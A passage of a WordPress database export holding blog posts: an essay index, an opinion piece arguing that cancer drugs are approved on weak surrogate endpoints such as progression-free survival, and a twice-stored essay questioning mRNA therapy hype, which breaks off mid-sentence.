of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-03-14 16:52:06','2021-03-14 16:52:06','',22,'https://trevorklee.com/?p=52',0,'revision','',0),
(53,1,'2021-03-14 16:53:59','2021-03-14 16:53:59','<!-- wp:paragraph -->\n<p>It’s obvious to anyone who takes a cursory look at the pharmaceutical industry that cancer is where it’s at. There are <a href=\"https://www.phrma.org/en/Report/Medicines-in-Development-for-Cancer-2020-Report#:~:text=Today%2C%20more%20than%201%2C300%20medicines,and%20Drug%20Administration%20(FDA).https://www.phrma.org/en/Report/Medicines-in-Development-for-Cancer-2020-Report#:~:text=Today%2C%20more%20than%201%2C300%20medicines,and%20Drug%20Administration%20(FDA).\">over 1300 cancer drugs in development</a> as of 2019, compared to roughly <a href=\"https://www.phrma.org/en/Science/In-The-Pipeline#:~:text=Biopharmaceutical%20innovation%20is%20revolutionizing%20medical,be%20optimistic%20than%20ever%20before.\">8000 drugs in total in development</a>. Cancer drugs bring in <a href=\"https://www.statista.com/chart/18311/sales-revenues-of-drug-classes/#:~:text=According%20to%20Evaluate%27s%20calculations%2C%20oncology,their%20sales%20to%20%24311.2%20billion.\">$145 billion in revenue each year,</a> the greatest of any drug category by far (the next category is diabetes, with about $50 billion).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Why is cancer so popular for pharmaceutical companies to target? A few reasons.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Funding wise, cancer is the only disease with its own <a href=\"https://www.cancer.gov/about-nci/budget/fact-book/data/research-funding#:~:text=The%20FY%202018%20funds%20available,percent%20of%20the%20committed%20level.\">$6 billion federal budget allocation</a>, not to mention the funding from huge nonprofits like the American Cancer Society. Cancer drugs also have, due to complex reasons, very favorable economics, and can end up costing <a href=\"https://www.asbestos.com/featured-stories/high-cost-of-cancer-treatment/\">$100,000 per <strong>month</strong></a> per patient.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are also political reasons. The US Patent Office offers a special expedited review for <a href=\"https://www.federalregister.gov/documents/2019/01/28/2019-00202/extension-of-the-cancer-immunotherapy-pilot-program#:~:text=On%20June%2029,%202016,%20the%20United%20States%20Patent,for%20examination%20and%20reviewed%20earlier%20(accorded%20special%20status).\">cancer immunotherapy</a>. Similarly, the FDA offers <a href=\"https://www.fda.gov/about-fda/fda-organization/oncology-center-excellence\">a specific center for cancer “excellence”</a>, which they don’t do for other diseases.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of these are easy enough to find and pretty public. However, I want to talk about another reason, which is less known but very important. Cancer drugs are held to a lower standard than other drugs when it comes to approval. This is done by using bullshit measurements in cancer trials, measurements that aren’t allowed to be used in any other drug trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These bullshit measurements are called progression free survival (PFS) and objective response rate (ORR), respectively. PFS is based on the idea that cancer gets worse over time. So, PFS measures the time that a person’s cancer doesn’t “progress”, with the idea that a cancer drug works better the longer it can stave off progression. ORR, meanwhile, is a percentage calculation that measures the number of people who “respond” to the drug. The idea here is that a cancer drug works better if more people respond to the drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both the “progression” in PFS and the “response” in ORR are based around the same idea, the idea that the progression that matters is the size of a tumor. If the tumor doesn’t grow, then that’s not a progression. If the cancer shrinks in response to a drug, that’s a response.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might think that these aren’t necessarily meaningful things to measure. You’d be right. By this calculation, it doesn’t matter if everyone dies from taking the drug in 6 months. If their tumors shrank before they died, they responded to the medication.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, this might seem like just a technicality. Surely this isn’t how these measurements are supposed to be used. It probably seems unlikely that the FDA would approve a drug which would have no impact on overall survival, even if it halted or reversed tumor growth. Well, unfortunately, that’s actually better than a lot of drugs that the FDA approves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s take a look at one of the PFS offenders. Here’s the FDA’s <a href=\"https://www.fda.gov/drugs/drug-approvals-and-databases/fda-approves-tivozanib-relapsed-or-refractory-advanced-renal-cell-carcinoma\">announcement of their approval of tivozanib</a>, a drug for renal cell carcinoma, a kidney cancer. I didn’t pick this drug specifically because it’s bad, I literally just picked it off the top of the list of <a href=\"https://www.fda.gov/drugs/resources-information-approved-drugs/hematologyoncology-cancer-approvals-safety-notifications\">most recent cancer drug approvals</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the FDA’s own press release, when tivozanib was compared against soranefib, the current best case drug, tivozanib extended “progression-free survival” by about a month and a half. Not amazing, but maybe ok, right? Well, tivozanib <em>decreased</em> survival by 3 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, your tumors don’t grow for a month and a half, but you die 3 months sooner. If I do some bad math, I get to find out that you get to spend a month and a half in the grave with your tumors remaining the same size. That’s what PFS is like.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, let’s take a look at one of the ORR offenders. Again, I’m not trying particularly hard: this is 4th on the list of most recent drug approvals. Melphalan flufenamide is a drug for refractory multiple myeloma (i.e. multiple myeloma that hasn’t responded to other drugs). According to <a href=\"https://www.fda.gov/drugs/drug-approvals-and-databases/fda-grants-accelerated-approval-melphalan-flufenamide-relapsed-or-refractory-multiple-myeloma\">the press release</a>, 23% of patients “responded” (i.e. had their tumors shrink) with the drug. The median “duration of response” (how long the tumors shrank for) was 4 months.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Notice what’s missing? Not only is this missing literally every single symptom that a patient with multiple myeloma would care about (survival, anemia, bodily pain), it doesn’t even define how much the tumors shrank. Literally, it’s just binary. Did it shrink at all? And, to add insult to injury, there’s not even a placebo. There’s no measuring of whether tumors would shrink without the drug or not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No other drug category is measured like this. Every other drug category has quantifiable, clinically relevant endpoints. Even if the symptoms are difficult to quantify, like depression, doctors will at least ask the patients a battery of questions about how they’re feeling. Plus, every other drug category has some sort of comparison, whether it’s placebo or another treatment. But not cancer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t to say there are no good cancer drugs. There are. But there are also a lot of bullshit ones, and the bullshit ones can still make boatloads of money, before and after approval. And that’s why pharmaceuticals are so cancer-focused.</p>\n<!-- /wp:paragraph -->','Why oncology is such an attractive category for pharma companies','','inherit','closed','closed','','48-revision-v1','','','2021-03-14 16:53:59','2021-03-14 16:53:59','',48,'https://trevorklee.com/?p=53',0,'revision','',0),
(54,1,'2021-04-09 16:57:07','2021-04-09 16:57:07','<!-- wp:paragraph -->\n<p>mRNA therapies are having their moment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Far from being the bust that some had predicted, mRNA therapies have proven to be a savior during the deadliest pandemic in 100 years. Both mRNA COVID vaccines, Moderna’s and BioNTech’s, not only were brought to market faster than any other vaccine, but proved more effective than any other vaccine as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This sudden success has spawned legions of mRNA explainers, created billionaires, and generated countless complicated geopolitical arguments over which country gets access to these miracle drugs first. It’s prompted breathless press releases where the application of mRNA to a problem is basically seen as tantamount to a solution, like <a href=\"https://news.yale.edu/2018/07/13/yale-researchers-identify-target-novel-malaria-vaccine\">Yale’s mRNA-based vaccine for malaria, which not only hasn’t been approved, it hasn’t even received a patent yet</a>!.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, it’s also prompted many observers to ask whether mRNA is <a href=\"https://www.sciencemag.org/news/2020/12/messenger-rna-gave-us-covid-19-vaccine-will-it-treat-diseases-too\">the future of all therapies</a>, or at least of <a href=\"https://www.theguardian.com/world/2020/nov/22/mrna-vaccines-covid-signal-new-era-disease-prevention-science\">all vaccines</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s what this article is about. Is mRNA the future of all therapies? Is it at least the future of all vaccines?&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’d like to stop reading now, the answer is no to both questions. mRNA is a really cool technology with some remarkable advantages, but it’s just one tool in the toolbox, and a difficult to use one at that. If you’d like more information, read on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s easy to forget, during these heady times, that it wasn’t too long ago that people were questioning whether mRNA was a complete bust. If we venture back to the far past of 2017, Moderna <a href=\"https://www.statnews.com/2017/01/10/moderna-trouble-mrna/\">had just failed a high profile animal trial</a> in a rare condition called Crigler-Najjar, and BioNTech’s “cancer vaccines” were still struggling to make it out of phase 1.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It was actually seen as an admission of failure that these mRNA companies were considering moving into vaccines, given that vaccines are famously bad investments for pharmaceutical companies. Vaccines can’t be sold for a high price, are usually only given once, are subject to very stringent toxicology requirements (as they’re given to healthy individuals), and, ironically, often face a lot of competition from non-profit ventures who see their public health importance.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s also easy to forget, during these heady times, that, with the remarkable exception of the COVID vaccines, not much has changed! Even if we consider all the drugs in Moderna’s portfolio, including vaccines, it only has one other drug that’s made it out of phase 1, <a href=\"https://investors.modernatx.com/news-releases/news-release-details/moderna-completes-enrollment-cytomegalovirus-cmv-vaccine-mrna\">a cytomegalovirus vaccine</a>. BioNTech also only has 1, <a href=\"https://clinicaltrials.gov/ct2/show/NCT03815058\">an advanced melanoma therapy</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the idea of mRNA as the future of all therapies or all vaccines is, frankly, not well-founded historically. mRNA has a good track record for a complicated technology at the forefront of biotech, but nothing that would warrant that sort of confidence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Scientifically, it’s also not particularly well-founded. Let’s take a look at the problems with mRNA therapies first, as that’s easier to debunk. Then we’ll take a look at mRNA vaccines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first and biggest problem with mRNA therapies is that they make people sick. mRNA cannot be injected directly into the body, as your body has a lot of defence mechanisms against random mRNA floating around (as that’s a tell-tale sign of some kind of foreign invasion). So, mRNA<a href=\"https://www.future-science.com/doi/abs/10.4155/tde-2016-0006\"> has to be disguised by lipid nanoparticles</a> (LNPs) in order to slip past the body’s defences (note: there are other ways of disguising it, but that’s the most common way right now).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So far, so good. Unfortunately, the body also reacts really poorly to random lipids being injected in the body. So, injecting people with lipid nanoparticles <a href=\"https://www.cell.com/molecular-therapy-family/nucleic-acids/fulltext/S2162-2531(20)30037-8\">provokes an immune reaction</a>, which can pretty easily be fatal. In fact, there are suggestions that the fever and malaise people get from the mRNA COVID vaccines are just <a href=\"https://www.news-medical.net/news/20210315/Research-looks-at-inflammatory-nature-of-lipid-nanoparticle-component-in-mRNA-vaccines.aspx#:~:text=Also%2C%20in%20the%20Pfizer%2FBioNTech,%2C%20and%20sleepiness%2C%20are%20common.\">a reaction to the lipid nanoparticles</a>, although nobody knows for sure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The easiest way to get around this problem is probably pretty obvious. You put less lipid nanoparticles, which is what they did in the COVID vaccines. But, the only way to do that is to use less mRNA.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s not an easy thing to do. When I say less mRNA, I mean way less mRNA. Tiny amounts. Now, I couldn’t get exact figures for just the mRNA or just the LNP portion of the mRNA vaccines, but I could for another therapy which uses LNPs, Alnylam’s siRNA therapy for <a href=\"https://www.accessdata.fda.gov/drugsatfda_docs/\">hereditary transthyretin-mediated amyloidosis</a>. They used just 30 mg of their drug (mRNA + LNPs) every 3 weeks to achieve their effects, and still had side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>30 mg is tiny! A single pill of azithromycin is 250 mg. It is really, really hard to fit everything you need to in 30 mg, especially if you can only administer it once every 3 weeks. Very few conditions lend themselves to those sorts of size constraints.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another problem with mRNA is more fundamental to mRNA itself. mRNA can only be used to make the body make proteins that, well, the body can make. This might seem obvious, but it’s a pretty key part of where Moderna’s “<a href=\"https://www.modernatx.com/mrna-technology/mrna-platform-enabling-drug-discovery-development\">software of life</a>” analogy falls flat. It’s a limited software with limited toolkits. You’re not going to use mRNA in humans to make, say, an antibiotic that’s naturally produced in fungi.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These two problems combined explain why mRNA therapies have had so many problems. mRNA therapies face very difficult design constraints: they have to be tiny, and they have to produce proteins that the body can make. The difficulty of these constraints is probably why Moderna, at least, has switched over to vaccines, calling it part of their “core modality”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, vaccines are also difficult, but they’re easier for mRNA than other therapies in a few ways.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, provoking an immune response in a normal therapy is a problem. Provoking an immune response in a vaccine, as long as it’s not overwhelming, is part of the solution. Second, as long as the body can produce effective antibodies against the pathogen when naturally infected, some vaccine should work to provoke those antibodies unnaturally. Finally, vaccines are normally only given once (or at least spaced out), so it’s a lot easier to give a small amount rarely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With these elements combined, does that mean mRNA vaccines are destined for success? Should all other vaccine companies give up or change tactics completely?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Eh...not really. mRNA vaccines can be very effective, but they’re not guaranteed to be. To see why, let’s take a look at the big kahuna, the COVID mRNA vaccines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s easy to think that the COVID mRNA vaccines are more successful than other vaccines solely because of their mechanism. That’s not quite true. What the vaccines target is a huge part of their success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s go over how vaccines work really quick, in a very general sense. Vaccines provoke the body to make antibodies against the target. A successful vaccine needs to both successfully provoke antibodies and pick the right target.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you look at the mRNA COVID vaccines, they were successful in both of these endeavors. Both mRNA COVID vaccines target <a href=\"https://www.nature.com/articles/s41577-020-00480-0\">a slightly modified version of the spike protein</a>. It’s slightly modified because that makes the body produce higher levels of antibodies. Meanwhile, the spike protein part is important because that’s <a href=\"https://www.news-medical.net/news/20201221/SARS-CoV-2-spike-protein-remains-remarkably-conserved-among-37-variants-from-Hong-Kong.aspx\">a highly conserved part of the virus</a>, making it difficult for the virus to mutate and avoid being targeted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s not a coincidence that the slightly modified spike protein is also the specific target of <a href=\"https://www.nature.com/articles/s41591-020-1070-6?fbclid=IwAR3oJTzGOfU-uEosnjUK72NF1Y1_D7c3mKXpVLkDbMnWeOIqgCllA1gfsyI#rightslink\">Johnson and Johnson’s vaccine</a> and of <a href=\"https://www.biorxiv.org/content/10.1101/2020.06.29.178509v1\">Novavax’s vaccine</a>, neither of which are mRNA based and both of which have shown high efficacy in humans (66% and 89% respectively). The COVID mRNA vaccines are more efficacious, but it’s clear that the target matters a lot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This didn’t have to be the case. It is very possible for a vaccine, even an mRNA vaccine, to provoke low levels of antibodies. This is easier to check in animal trials, though. What’s more difficult to check in animal trials is whether you’re targeting the right thing. Antibodies are targeted incredibly specifically towards very specific parts (antigens) of a pathogen, not the pathogen as a whole.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To see how complicated that is, let’s go back to the Yale malaria vaccine. When these scientists made their vaccine, they had to choose which of <a href=\"https://scihubtw.tw/10.1016/j.pt.2016.07.003\">14 different functions</a> they wanted to target. Each of those had numerous antigens associated with it. If you target the wrong function, you can end up producing antibodies that do not prevent infection. For example, in malaria, if you target the replication of merozoites (part of the life cycle of the parasite), you will not <a href=\"https://scihubtw.tw/10.1016/j.pt.2016.07.003\">effectively prevent infection in older children</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even if you do successfully target the right antigen, there’s no guarantee of success. This is because vaccines, again, work only as well as the body’s antibodies do. Human beings cannot develop effective enough antibodies against malaria to prevent future infection. The best we can hope for is <a href=\"https://www.nature.com/articles/ni.f.205\">partial immunity after repeated infections</a>, meaning that we no longer develop severe sickness on contracting malaria.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not unique to malaria. The same problem arises with human cytomegalovirus, which is Moderna’s furthest advanced vaccine right now.&nbsp; <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3539762/\">Our immune system cannot clear cytomegalovirus</a>, it can only make us asymptomatic. Moreover, <a href=\"https://themedicinemaker.com/discovery-development/the-bumpy-road-to-a-cytomegalovirus-vaccine\">natural immunity doesn’t prevent placental transmission of the virus</a>, which is problematic, as that’s the chief problem that vaccines are attempting to solve. Cytomegalovirus is rarely a problem in adults, but can be serious in babies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, there are serious difficulties in developing an effective vaccine that are not solved by mRNA. Furthermore, mRNA vaccines still have to be really small and administered with a fair amount of space in between them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not to say that mRNA isn’t a cool technology, because it is. Vaccines are infamously difficult to develop and manufacture, and mRNA makes that process a lot easier. However, it’s not the only technology that makes development and manufacturing of vaccines much easier. For an obvious example, <a href=\"https://en.wikipedia.org/wiki/DNA_vaccine#:~:text=A%20DNA%20vaccine%20is%20a,cells%20of%20an%20immunized%20species.\">DNA vaccines</a> have proven to have many of the advantages of mRNA vaccines.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, we still don’t know enough about the immune system to throw less rationally designed vaccines, like inactivated virus vaccines, out the window. Not all conditions are as well studied or understood as COVID.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>mRNA’s cool, but I think it’s time to step back from the hype.</p>\n<!-- /wp:paragraph -->','Are mRNA therapies the future of pharmaceuticals?','','publish','closed','closed','','are-mrna-therapies-the-future-of-pharmaceuticals','','','2021-04-09 16:57:07','2021-04-09 16:57:07','',0,'https://trevorklee.com/?page_id=54',0,'page','',0),
(55,1,'2021-04-09 16:57:07','2021-04-09 16:57:07','<!-- wp:paragraph -->\n<p>mRNA therapies are having their moment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Far from being the bust that some had predicted, mRNA therapies have proven to be a savior during the deadliest pandemic in 100 years. Both mRNA COVID vaccines, Moderna’s and BioNTech’s, not only were brought to market faster than any other vaccine, but proved more effective than any other vaccine as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This sudden success has spawned legions of mRNA explainers, created billionaires, and generated countless complicated geopolitical arguments over which country gets access to these miracle drugs first. It’s prompted breathless press releases where the application of mRNA to a problem is basically seen as tantamount to a solution, like <a href=\"https://news.yale.edu/2018/07/13/yale-researchers-identify-target-novel-malaria-vaccine\">Yale’s mRNA-based vaccine for malaria, which not only hasn’t been approved, it hasn’t even received a patent yet</a>!.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, it’s also prompted many observers to ask whether mRNA is <a href=\"https://www.sciencemag.org/news/2020/12/messenger-rna-gave-us-covid-19-vaccine-will-it-treat-diseases-too\">the future of all therapies</a>, or at least of <a href=\"https://www.theguardian.com/world/2020/nov/22/mrna-vaccines-covid-signal-new-era-disease-prevention-science\">all vaccines</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s what this article is about. Is mRNA the future of all therapies? Is it at least the future of all vaccines?&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’d like to stop reading now, the answer is no to both questions. mRNA is a really cool technology with some remarkable advantages, but it’s just one tool in the toolbox, and a difficult to use one at that. If you’d like more information, read on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s easy to forget, during these heady times, that it wasn’t too long ago that people were questioning whether mRNA was a complete bust. If we venture back to the far past of 2017, Moderna <a href=\"https://www.statnews.com/2017/01/10/moderna-trouble-mrna/\">had just failed a high profile animal trial</a> in a rare condition called Crigler-Najjar, and BioNTech’s “cancer vaccines” were still struggling to make it out of phase 1.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It was actually seen as an admission of failure that these mRNA companies were considering moving into vaccines, given that vaccines are famously bad investments for pharmaceutical companies. Vaccines can’t be sold for a high price, are usually only given once, are subject to very stringent toxicology requirements (as they’re given to healthy individuals), and, ironically, often face a lot of competition from non-profit ventures who see their public health importance.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s also easy to forget, during these heady times, that, with the remarkable exception of the COVID vaccines, not much has changed! Even if we consider all the drugs in Moderna’s portfolio, including vaccines, it only has one other drug that’s made it out of phase 1, <a href=\"https://investors.modernatx.com/news-releases/news-release-details/moderna-completes-enrollment-cytomegalovirus-cmv-vaccine-mrna\">a cytomegalovirus vaccine</a>. BioNTech also only has 1, <a href=\"https://clinicaltrials.gov/ct2/show/NCT03815058\">an advanced melanoma therapy</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the idea of mRNA as the future of all therapies or all vaccines is, frankly, not well-founded historically. mRNA has a good track record for a complicated technology at the forefront of biotech, but nothing that would warrant that sort of confidence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Scientifically, it’s also not particularly well-founded. Let’s take a look at the problems with mRNA therapies first, as that’s easier to debunk. Then we’ll take a look at mRNA vaccines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first and biggest problem with mRNA therapies is that they make people sick. mRNA cannot be injected directly into the body, as your body has a lot of defence mechanisms against random mRNA floating around (as that’s a tell-tale sign of some kind of foreign invasion). So, mRNA<a href=\"https://www.future-science.com/doi/abs/10.4155/tde-2016-0006\"> has to be disguised by lipid nanoparticles</a> (LNPs) in order to slip past the body’s defences (note: there are other ways of disguising it, but that’s the most common way right now).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So far, so good. Unfortunately, the body also reacts really poorly to random lipids being injected in the body. So, injecting people with lipid nanoparticles <a href=\"https://www.cell.com/molecular-therapy-family/nucleic-acids/fulltext/S2162-2531(20)30037-8\">provokes an immune reaction</a>, which can pretty easily be fatal. In fact, there are suggestions that the fever and malaise people get from the mRNA COVID vaccines are just <a href=\"https://www.news-medical.net/news/20210315/Research-looks-at-inflammatory-nature-of-lipid-nanoparticle-component-in-mRNA-vaccines.aspx#:~:text=Also%2C%20in%20the%20Pfizer%2FBioNTech,%2C%20and%20sleepiness%2C%20are%20common.\">a reaction to the lipid nanoparticles</a>, although nobody knows for sure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The easiest way to get around this problem is probably pretty obvious. You put less lipid nanoparticles, which is what they did in the COVID vaccines. But, the only way to do that is to use less mRNA.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s not an easy thing to do. When I say less mRNA, I mean way less mRNA. Tiny amounts. Now, I couldn’t get exact figures for just the mRNA or just the LNP portion of the mRNA vaccines, but I could for another therapy which uses LNPs, Alnylam’s siRNA therapy for <a href=\"https://www.accessdata.fda.gov/drugsatfda_docs/\">hereditary transthyretin-mediated amyloidosis</a>. They used just 30 mg of their drug (mRNA + LNPs) every 3 weeks to achieve their effects, and still had side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>30 mg is tiny! A single pill of azithromycin is 250 mg. It is really, really hard to fit everything you need to in 30 mg, especially if you can only administer it once 